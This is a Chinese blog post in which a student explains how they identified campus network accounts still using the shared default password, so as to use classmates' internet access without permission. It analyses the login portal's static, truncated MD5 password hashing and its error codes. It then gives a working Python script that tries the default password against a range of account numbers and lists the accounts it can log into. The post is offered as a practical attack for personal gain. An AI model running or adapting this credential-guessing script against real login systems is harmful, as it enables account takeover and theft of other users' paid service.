軟院這邊網速是挺不錯的,而且在宿舍和實驗室都是可以通過學號直接登陸的上網的,但是..有的時候實驗室的桌上型電腦需要一個網號,筆記本需要一個網號,或者再加上一個路由器需要一個,然後,感覺網號託託的不夠呀。剛開學分配網號的時候,每個人的密碼都初始為同一個,嘿嘿。。。有些人其實懶得去改,或者是去了遙遠的杭州,然後,這些網號可能閒置了,嘿嘿。所以這一次的目的就是嗅探這些沒有更改過網號密碼的網號,然後,你懂得。但是作為一個四好青年,我不會狠到去更改他們的密碼,只是在他們沒有上網的時候借用他們的網號,當他們要上網的時候其實可以通過強退讓我下線,然後他們自己可以用。
1. 分析網路認證介面:
其地址為: http://192.0.0.6/
從下邊的程式碼中我們可以發現,在處理登陸部分程式碼中使用了md5演算法加密密碼,其登陸需要的驗證網址,所需要的引數:
我們還可以通過瀏覽器幫助我們檢視登陸的詳情。使用者名稱和密碼點選登陸後,驗證登陸資訊的地址是: http://192.0.0.6/cgi-bin/do_login
再檢視以下登陸需要的引數,其中我輸入的使用者名稱和密碼都是123456,很明顯可以看出密碼加密過了。
加密了沒關係,嘗試了幾次發現,雖然加密了,但是卻用的靜態的MD5加密,嘿嘿。。。,只要密碼一樣,每次加密的結果就會一樣(-_-)。而我們這次僅僅是用初始密碼來驗證以下誰沒有更改密碼,所以我們用正確的密碼嘗試登陸一次,就可以獲取它加密後的值應該是多少了,然後用這個值作為密碼去模擬登陸,肯定是OK的啦。或者是直接去呼叫python 中的 hashlib 中的md5加密函式。
下來我們看一下POST資料的時候還有什麼處理,其程式碼如下圖。其中XMLHttpRequest 物件是名為 AJAX 的 關鍵功能,用於非同步請求。這裡設定了Content-Type,所以這項在模擬登陸的需要設定。
看看請求的時候具體都傳送了什麼請求頭,這裡我們為了避免出錯,這模擬登陸的時候最好將User-Agent使用者代理資訊加上。
我們接著來看一下登陸之後的邏輯,成功之後程式碼如下圖所示。如果登陸成功並返回一串數字的時候,就根據是否記住密碼選項決定是否寫Cookie。
如果失敗了就根據返回內容做決定:
2. 模擬登陸:
根據上述的描述,我們嘗試登陸以下:
#!/usr/bin/python #! -*- coding:utf-8 -*- import urllib import urllib2 import re import os class Sniffer: def __init__(self): self.login_url = "http://192.0.0.6/cgi-bin/do_login" self.headers = {} self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0" self.headers["Content-Type"] = "application/x-www-form-urlencoded" def test(self): username="123456" password="123456" drop="0" # 直接從原始頁面的程式碼中複製過來的 data="username="+username+"&password="+password+"&drop="+drop+"&type=1&n=100" req = urllib2.Request(self.login_url,data=data,headers=self.headers) res = urllib2.urlopen(req) print res.read() sniffer = Sniffer() sniffer.test()
上述執行結果為: username_error,使用者錯誤。我們看一下總共有哪些返回資訊:
case "user_tab_error": alert("認證程式未啟動"); break; case "username_error": alert("使用者名稱錯誤"); break; case "non_auth_error": alert("您無須認證,可直接上網"); break; case "password_error": alert("密碼錯誤");break; case "status_error": alert("使用者已欠費,請儘快充值。"); break; case "available_error": alert("使用者已禁用"); break; case "ip_exist_error": alert("您的IP尚未下線,請等待2分鐘再試。"); break; case "usernum_error": alert("使用者數已達上限"); break; case "online_num_error": alert("該帳號的登入人數已超過限額\n如果懷疑帳號被盜用,請聯絡管理員。"); break; case "mode_error": alert("系統已禁止WEB方式登入,請使用客戶端"); break; case "time_policy_error": alert("當前時段不允許連線"); break; case "flux_error": alert("您的流量已超支"); break; case "minutes_error": alert("您的時長已超支"); break; case "ip_error": alert("您的IP地址不合法"); break; case "mac_error": alert("您的MAC地址不合法"); break; case "sync_error": alert("您的資料已修改,正在等待同步,請2分鐘後再試。"); break; default: alert("找不到認證伺服器"); break;
其中當返回為online_num_error,ip_exist_error,以及一串數字的時候(也就是登陸成功)的時候就表明使用者名稱和密碼是正確的(-_-),是的...就是這麼簡單。
我們將username設定為網號範圍的網號,遍歷訪問,而password就是初始密碼經過md5加密過的密碼,獲取這個加密過的密碼可以通過進入瀏覽器的檢視介面(火狐是F12),然後輸入初始密碼,提交之後可以在,在引數一項中看到:
下來我們就通過遍歷來獲取沒有改過密碼的網號:
#!/usr/bin/python # -*- coding:utf-8 -*- import urllib import urllib2 import re import os import hashlib class Sniffer: def __init__(self): self.login_url = "http://192.0.0.6/cgi-bin/do_login" self.headers = {} self.headers["User-Agent"]="Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0" self.headers["Content-Type"] = "application/x-www-form-urlencoded" # 密碼正確的可呢返回結果 self.right = ["ip_exist_error","online_num_error","usernum_error"] # 登陸成功後返回的結果是一串數字 self.pattern = re.compile(r"^[\d]+$") def access(self,username,password): # 這個密碼就是初始密碼經過md3u加密過的 # 頁面中只是獲取了加密的從第8位置開始的16個的字元 password = self.get_md5(password)[8:24] # 直接從原始頁面的程式碼中複製過來的 data="username="+username+"&password="+password+"&drop=0"+"&type=1&n=100" req = urllib2.Request(self.login_url,data=data,headers=self.headers) res = urllib2.urlopen(req) content = res.read() mat = re.match(self.pattern,content) # 登陸成功 if mat: return True # 其它密碼正確的情況 if content in self.right: return True else: return False # 獲取資訊的md5摘要資訊 def get_md5(self,original): m = hashlib.md5() m.update(original) return m.hexdigest() def trace(self,start,end): result = []
# 這裡設定初始密碼 password = "*******" for account in range(start,end): print "sniff "+str(account) if self.access(str(account),password): print str(account)+" is avialable" result.append(str(account)) return result sniffer = Sniffer() # 傳入開始帳號和結束帳號 start = input("the start account: ") end = input("the end account: ") print sniffer.trace(int(start),int(end))
執行上述指令碼就會產生沒有改過密碼的帳號啦。
執行結果顯示有三分之一的同學都沒有改密碼,這個比例相當的高呀。